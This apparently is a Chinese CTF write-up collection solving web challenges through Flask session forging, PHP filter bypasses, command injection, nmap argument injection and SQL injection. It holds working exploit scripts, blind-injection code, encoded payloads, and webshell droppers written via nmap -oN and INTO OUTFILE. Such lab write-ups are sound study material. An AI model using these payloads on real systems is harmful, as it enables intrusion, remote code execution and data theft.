HOSTNAME=b07efea7a3bfSHLVL=1PYTHON_PIP_VERSION=19.1.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/uwsgi.iniWERKZEUG_SERVER_FD=3NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/static_=/usr/local/bin/pythonUWSGI_CHEAPER=2WERKZEUG_RUN_MAIN=trueNGINX_VERSION=1.15.8-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.15.8.0.2.7-1~stretchLANG=C.UTF-8PYTHON_VERSION=3.6.8NGINX_WORKER_PROCESSES=1LISTEN_PORT=80STATIC_INDEX=0PWD=/appPYTHONPATH=/appSTATIC_PATH=/app/staticFLAG=not_flag

读取/app/uwsgi.ini

uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议。

[uwsgi] module = main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

这里无解了,据说这里的链接应该是

module的返回值应该是module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main 访问/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

应该是BUU的配置不对,读取源码

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

其中随机数的种子是uuid.getnode(),本地的MAC地址的十进制表示,获取本地的MAC地址。

/sys/class/net/eth0/address

02:42:ac:10:b9:28 

转换MAC地址

import uuid
import random

if __name__ == "__main__":
    mac = "02:42:ac:10:b9:28"
    temp = mac.split(':')
    temp = [int(i, 16) for i in temp]
    temp = [bin(i).replace('0b', '').zfill(8) for i in temp]
    temp = ''.join(temp)
    mac = int(temp, 2)
    random.seed(mac)
    randStr = str(random.random()*100)
    print(randStr)  # 结果为 90.979214536644


利用MAC地址做SECRET_KEY,代入flask_session_manager

eyJ1c2VybmFtZSI6ImFkbWluIn0.YP4y5w.4YJJKSNFQhpDtLEBQDf7dz6Kr5Q

[羊城杯 2020]Blackcat

利用hash_hmac函数传入数组会放回false的缺陷,构造。

$white_cat_monitor = array();
$one_ear = "; cat flag.php";
$black_cat_sheriff = hash_hmac('sha256', $one_ear,false);
var_dump($black_cat_sheriff);
White-cat-monitor[]=1&One-ear=;env&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b

(靶场有问题,环境变量没传上去,flag没改,只能直接读环境变量了)

[WUSTCTF2020]CV Maker

登录之后存在文件上传,用一些常规的绕过检测就行了

[HarekazeCTF2019]encode_and_encode

考点是json接收到unicode编码时会进行转义从而进行绕过:

{"page":"php://filter/convert.base64-encode/resource=/flag"}
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

[BJDCTF2020]EzPHP

套娃题,现在看套娃题都贼累。

<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
    if (
    preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
    )
        die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
    preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
    include "flag.php";
    $code('', $arg);
} ?>

第一个坑

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
} 

查了一下知道$_SERVER[‘QUERY_STRING’]不会进行URLdecode,直接用URL编码绕过即可。

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

这里看到正则匹配是以$为结尾,通过%0a等特殊字符进行绕过。

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

这里比较巧妙,在GET和POST同时出现时,POST的优先级更高,可以用POST覆盖GET。

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

file_get_contents函数,用data伪协议绕过data://text/plain,debu_debu_aqua

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

sha1()函数无法处理数组,$shana和$passwd都是数组时都是false。$shana[]=1&$passwd[]=2

file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&shana[]=1&passwd[]=2

url编码有:

file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=1

同时POST

POST:file=1&debu=1
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

留下动态执行部分,其中code和arg可控,

构造

flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

编码

file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//
import requests

url = "http://e6e4a3a7-f42f-41fc-be4b-d32fdfdd0be4.node4.buuoj.cn/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};var_dump(get_defined_vars());//"

payload={'file': '1',
'debu': '2'}
files=[

]
headers = {}

response = requests.request("POST", url, headers=headers, data=payload, files=files)

print(response.text)

知道了flag在rea1fl4g.php用require读取flag,用~绕过正则

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

替换刚才的var_dump(get_defined_vars())

import requests

url = "http://e6e4a3a7-f42f-41fc-be4b-d32fdfdd0be4.node4.buuoj.cn/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//"

payload={'file': '1',
'debu': '2'}
files=[

]
headers = {}

response = requests.request("POST", url, headers=headers, data=payload, files=files)

print(response.text)

这题就是trick拼接,没啥意思,我直接跟着wp打了。

[SUCTF 2019]EasySQL

黑盒盲注没注出来,直接上源码吧:

<?php
    
    if (isset($_POST['query'])) {
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is", $_POST['query']));
        if (preg_match("/{$BlackList}/is", $_POST['query'])) {
            //echo $_POST['query'];
            die("Nonono.");
        }
        if (strlen($_POST['query']) > 40) {
            die("Too long.");
        }
        $sql = "select " . $_POST['query']."||flag from flag";
        mysqli_multi_query($MysqlLink, $sql);
        do{
            if ($res = mysqli_store_rersult($MysqlLink)) {
                while ($row = mysql_fetch_row($res)) {
                    print_r($row);
                }
            }
        } while (@mysqli_next_result($MysqlLink));
        
    }      
    
?>

重点其实就是这句SQL语句:

$sql = "select " . $_POST['query']."||flag from flag";

这跟以前做的SQL注入的洞有根本的不同:没用双引号或者单引号闭合,甚至都不需要手动闭合。我在测试的时候就没有发现这个问题,一直是拿单引号去闭合的。

知道了源码其实就很好做,直接:

*, 1

返回flag全部值完事,可能是出题人没有过滤*吧。

预期解:

SET sql_mode=PIPES_AS_CONCAT;

sql_mode 变量以前没有听过,通过设置 sql_mode 的值,可以设计不同程度的数据校验,从而绕过WAF。

sql_mode=PIPES_AS_CONCAT 时,|| 的作用由 or 变成了 concat,相当于字符串连接。

用这样的语句:

1, SET sql_mode=PIPES_AS_CONCAT, SELECT 1

就可以完成注入了。

[HCTF 2018]WarmUp

这道题在我刚入门CTF一年前的时候碰到过,只是当时根本不知道这道题为什么这么解,所以就搁置了。

进来一个滑稽表情包,查看页面源码,得到提示

<-- source.php -->

访问source.php,查看源码:

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

审计一下php代码,需要使用GET方式提交一个 $file 变量,进行文件包含。

看到白名单,随即访问hint.php,得到ffffllllaaaagggg文件名。

多次if语句判断,第一次判断是否存在 $page 变量且是否为字符串,简单绕过。

第二层 if 用到了bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) 函数:

in_array($page, $whitelist)

如果满足了就 return true。关于 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) 函数有它的设计缺陷,当进行弱比较的时候会进行弱类型转换,从而绕过对数字的审查。大致可以看这篇参考文章:PHP代码审计Day1 – in_array函数缺陷

在这里由于数组类型是字符串类型,所以不存在这样的弱类型转换漏洞,这里如果需要返回 true,则必须 $page 的值为 hint.php 或者 source.php。

$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

这部分用到了两个比较新的 php 函数:

mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string

substr() 函数不同的是,mb_substr() 通常用来分割多种字符,用于兼容字符集。例如:

echo mb_substr("Hello, world!", 0, 2);
 //echo:He
echo mb_substr("你好世界!", 0, 2);
 //echo:你好

这看起来似乎更符合中国人的习惯。

mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int

该函数用来返回字符串 $needle$haystack 字符串中第一次出现的位置。这里就存在绕过,只要题目中的字符串中出现问号,就可以对字符串进行截断,从而绕过白名单的审查。

echo mb_strpos("Hello!" . "?", "?"); //echo: 6
echo mb_strpos("?Hello!") . "?", "?"); //echo: 0

于是只要构造这样的字符串:

?file=hint.php?
?file=source.php?

就可以绕过白名单审计,返回 true

接下来就是简单的目录穿越完事,可以先读取 /etc/passwd:

source.php?file=hint.php?../../../../../etc/passwd

穿越回根目录经过五次,大概推测文件结构,然后读取flag。

source.php?file=hint.php?../../../../../ffffllllaaaagggg

总的来说这题确实比较简单,是自己当时想得太多。

[GXYCTF2019]Ping Ping Ping

提示给了ping ip,直接猜命令执行拼接,试了一下

127.0.0.1;ls

发现是可以的,接下来就是cat flag.php,发现有过滤:

Linux表示空格有几种方法:

  1. %20(space)%09(tab)
  2. 使用<或者<>来绕过空格 cat<a.txt
  3. 花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
  4. $IFS 空格绕过 $IFS$9 ${IFS}
  5. 变量控制 X=$'cat\x09./flag.php

这里也稍微学习了一下$IFS是什么。

$IFS为内部域分隔符,在默认情况下可以表示空格,也可以自定义为换行符、Tab或者其他奇怪的符号。通常有这几种利用的方式:

$ cat$IFSflag.php #false Linux无法区分系统变量名
$ cat${IFS}flag.php #true 加上{}起到固定变量名的作用
$ cat$IFS$9flag.php #true $9为当前系统shell进程的第九个参数的持有者,其始终为字符串

这里绕过方式:

$ cat$IFS$9flag.php

然后发现flag被过滤了,但是index.php没有被过滤,利用命令执行读取index.php源码:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

这里经过严格的过滤,我到这里真的歇逼了,跑去翻大神的wp。

方式一:内联执行

a=f;d=ag;c=l;cat$IFS$a$c$d.php

利用字符串拼接,调换一下字符顺序,绕过过滤。

方式二:sh,bash下编码

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

利用base64绕过过滤。

[CISCN 2019 初赛]Love Math

源码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

经观察两层WAF,其中数学函数是主要的利用对象。

https://www.cnblogs.com/20175211lyz/p/11588219.html

[网鼎杯 2020 朱雀组]Nmap

康康源码:

index.php

<?
require('settings.php');


set_time_limit(0);
if (isset($_POST['host'])):
	if (!defined('WEB_SCANS')) {
        	die('Web scans disabled');
	}

	$host = $_POST['host'];
	if(stripos($host,'php')!==false){
		die("Hacker...");
	}
	$host = escapeshellarg($host);
	$host = escapeshellcmd($host);

	$filename = substr(md5(time() . rand(1, 10)), 0, 5);
	$command = "nmap ". NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host;
	$result_scan = shell_exec($command);
	if (is_null($result_scan)) {
		die('Something went wrong');
	} else {
		header('Location: result.php?f=' . $filename);
	}
else:
?>

settings.php:

<?
# Path where all files stored
# Example values: /home/node/results/
# Or just: xml/
# Must be readble/writable for web server! so chmod 777 xml/
define('RESULTS_PATH', 'xml/');

# Nmap string arguments for web scanning
# Example: -sV -Pn
define('NMAP_ARGS', '-Pn -T4 -F --host-timeout 1000ms');

# Comment this line to disable web scans
define('WEB_SCANS', 'enable');

# URL of application
# for example: http://example.com/scanner/
# Or just: /scanner/
define('APP_URL', '/');

# Secret word to protect webface (reserved)
# Uncomment to set it!
# define('secret_word', 'passw0rd1337');

?>

对nmap这个指令也不熟,还是看了wp写了做的。

主要语句:

$command = "nmap ". NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host;
$result_scan = shell_exec($command);

带入之后相当于:

$ nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/$filename $host

方法一:直接读flag写入文件

  • -iL:从文件中加载目标
  • -oN:将扫描后的文件信息以“Normal”的形式输出存储
 ' -iL /flag -oN flag.txt '

访问flag.txt

方法二:一句话木马绕过php过滤

'<?=eval($_GET[oatmeal]);?> -oN shell.phtml '

SQL注入基础

查询所有数据库:

id=1 union select 1, group_concat(distinct TABLE_SCHEMA) from information_schema.tables

查询名为test的库:

id=1 union select 1,group_concat(TABLE_NAME) from information_schema.tables where table_schema= 'test'

查询名为test的库中flag表的字段名:

id=1 union select 1,group_concat(COLUMN_NAME) from information_schema.columns where table_schema= ‘test‘ and table_name=‘testtable’

查询名为test的库中flag表的flag字段名中的内容:

id=1 union select 2, group_concat(flag) from test.flag

SQL手工盲注

import string
import requests
def request(request_id):
    try:
        # 延时注入,超时为真
        requests.get("http://f6996fad-6528-4dc1-80ac-3008608c99c2.das-node.wetolink.com:82?id={}".format(request_id),
                     timeout=5)
    except:
        return True
    return False
# 要执行的语句
# sql = "select database()"
# sql = "select group_concat(distinct TABLE_SCHEMA) from information_schema.tables"
# sql = "select group_concat(distinct TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'test'"
# sql = "select group_concat(distinct COLUMN_NAME) from information_schema.columns where TABLE_SCHEMA = 'test' and TABLE_NAME='flag'"
# sql = "select group_concat(distinct flag) from test.flag"
outer_len_sql = "id=1 and if(length(({}))={},sleep(10),1)"
outer_sql = "id=1 and if(substring(({}),{},1)='{}',sleep(10),1)"
# 获取结果长度
length = 1
while True:
    if request(outer_len_sql.format(sql, length)):
        break
    length += 1
print("长度:{}".format(length))
result = ""
for i in range(1, length + 1):
    # 只测试可见字符
    for j in string.printable:
        if request(outer_sql.format(sql, i, j)):
            result += j
            print("结果:{}".format(result))
            break
print("结果:{}".format(result))

[极客大挑战 2019]EasySQL

admin' or '1' = '1
admin' or 1 = 1 #

SQL注入进阶(一)

尝试提交万能钥匙后发现’被绕过,结合代码中的gbk编码集绕过。

/?id=1%df' union select 1,database()%23

请注意,这里的%23直接用#表示将无法显示(我也不知道为什么会出现这样的BUG,可能是bp没有二次转码,反正它是出了)。最后联合查询拿flag。

拿库名:

id=1%df' union select 1,group_concat(distinct TABLE_SCHEMA) from information_schema.tables%23

满足引号被转义情况,且不需要逃出单引号,尝试使用十六进制字符串绕过:

id=1%df%27%20union%20select%201,group_concat(distinct%20TABLE_NAME)%20from%20information_schema.tables%20where%20TABLE_SCHEMA%20=%200x74657374%23

跟之前的题目差不多,直接拿flag。

id=1%df' union select 1,group_concat(flag) from test.flag%23

SQL注入进阶(四)

源码:

foreach($result as $item) {
    $username = $item['username'];
    $id = $item['id'];
    query("update users set username = '$new_username',history_username='$username' where id='$id';");
}

存入的时候进行预编译,再次取出更新的时候没有进行预编译,导致了漏洞。

', username=database(); #

单引号闭合前面语句,username赋值为database(),最后再用#注释后面的代码。

返回test库名。

起先尝试语句:

', username=select group_concat(TABLE_NAME) from information_schema.tables where table_schema= 'test';#

发现返回报错,根据报错信息可以得知消息的长度受到了限制。

于是尝试报错注入,这里试用xpath语法报错注入。

'or updatexml(2,concat(0x7e,(database())),0) #

单引号闭合前面的单引号,or语句后面接上updataxml语句,#注释后面语句。

爆表名:

'or updatexml(2,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where table_schema='test')),0) #

爆字段:

'or updatexml(2,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.columns where table_schema='test' and table_name='flag')),0) #

爆字段内容:

'or updatexml(2,concat(0x7e,(select flag from flag)),0) #

爆出来的flag字段名过长,超过updataxml长度限制。

这时候有3种做法:

1.从右边读取字符串(会漏掉一个中括号):

'or updatexml(2,concat(0x7e,(select right(flag, 32) from flag)),0) #

2.或者逆序输出flag:

'or updatexml(2,concat(0x7e,(select reverse(flag) from flag)),0) #

3.使用substr截取一段flag:

'or updatexml(2,concat(0x7e,substr((select group_concat(flag) from flag ),25,50)),0) #

三种方法都可以,感觉第一种比较容易一点,第二种还要写脚本逆序,太麻烦了。

[强网杯 2019]随便注

万能钥匙返回全部数据证明存在注入点。

尝试联合查询后发现存在WAF:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

查表名:

1';show tables; #

爆 words 列名:

1'; show columns from `words`;#

爆 1919810931114514 列名:

1'; show columns from `1919810931114514` ;#

这两处用了`符号。

显示我们在words表中查找,但是真正的flag在1919810931114514中。

下面拿flag有很多种姿势。

1.官方姿势

1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(100);#

整理完这样子的:

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);
#

将words表重命名为words1,1919810931114514重命名为words,把表的flag属性修改为id属性,使得在查找id的时候可以查找到flag,然后就可以访问了。

2.预处理语句绕过关键词过滤

本题可以利用 char() 方法将 ASCII 码转换为 SELECT 字符串,接着利用 concat() 方法进行拼接获得查询的SQL语句,最后执行即可,payload如下:

1';
SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");
PREPARE sqla from @sql;
EXECUTE sqla;
#

或者不用char()方法,直接将字符串相加也可以绕过限制:

-1';
SET @sql = CONCAT('se','lect * from `1919810931114514`;');
PREPARE sqla from @sql;
EXECUTE sqla;
#

3.RCE

报错注入后可以看见用户为root,直接上马拿权限。

先上马:

1';
Set @sql=concat("s","elect '<?php @print_r(`$_GET[oatmeal]`);?>' into outfile '/var/www/html/1",char(46),"php'");
PREPARE sqla from @sql;
EXECUTE sqla;
#

RCE:

/1.php?oatmeal=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"

读flag。

4.handler

handler代替select进行查询。

1'; 
handler `1919810931114514` open as oatmeal; 
handler oatmeal read first; 
handler oatmeal close;#

[GXYCTF2019]BabySQli

网页源码可以看到有search.php,访问后提示wrong user,回显一段加密的字符串。base32+base64解密:

select * from user where username = '$name'

变量直接引用提示注入点。

SQLMAP可以看到表结构:

这里有一个知识点:当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。这时候直接在pass框里面输入密码的md5解密结果就可以了。

构造这样的payload:

username栏:admin' and 0 union select '1','admin','e809578d0b633a6db7de68749308f476
password栏:oatmeal

[极客大挑战 2019]HardSQL

fuzz一下,发现相对之前的EasySQL,多了几个关键字符的过滤,其中还有对于空格字符的过滤,注释语句在WAF中也被过滤了。

尝试报错注入,先写报错语句模板:

sql = "admin%27or(UPDATEXML(1,CONCAT(0x7e,{},0x7e),1))%23".format(p)

对于关键处的过滤,采取两种绕过方式:

  • 对变量的空格使用()替代。
  • 对=处使用like()语句代替。

上SQL注入脚本:

import requests

# p语句为要执行注入的命令
sql = "admin%27or(UPDATEXML(1,concat(0x7e,{},0x7e),1))%23".format(p)
print(sql)


url = "http://640faddd-30eb-4d14-9cc0-4ff5880dbbcd.node3.buuoj.cn/check.php?username={}&password=123123".format(sql)

payload = {}
headers = {}

response = requests.request("GET", url, headers=headers, data=payload)

print(response.text.encode('utf8'))

p语句修改为我们要使用的注入语句,注意不能使用空格。

读数据库:

p = "(SELECT(database()))"

读表:

p = "(SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema)LIKE('geek'))"

读字段:

p = "(SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name)LIKE('H4rDsq1'))"

读字段内容:

p = "(SELECT(password)FROM(geek.H4rDsq1))"

flag超出字段长度,修改一下重新读取后半段。

p = "(SELECT(right(password,32))FROM(geek.H4rDsq1))"

[SWPU2019]Web1

注册、登录、广告页面可能存在SQL注入。在广告页面使用

查看广告详情产生报错,由此推断此为SQL注入点。另外通过报错,可以知道这是MairaDB数据库。

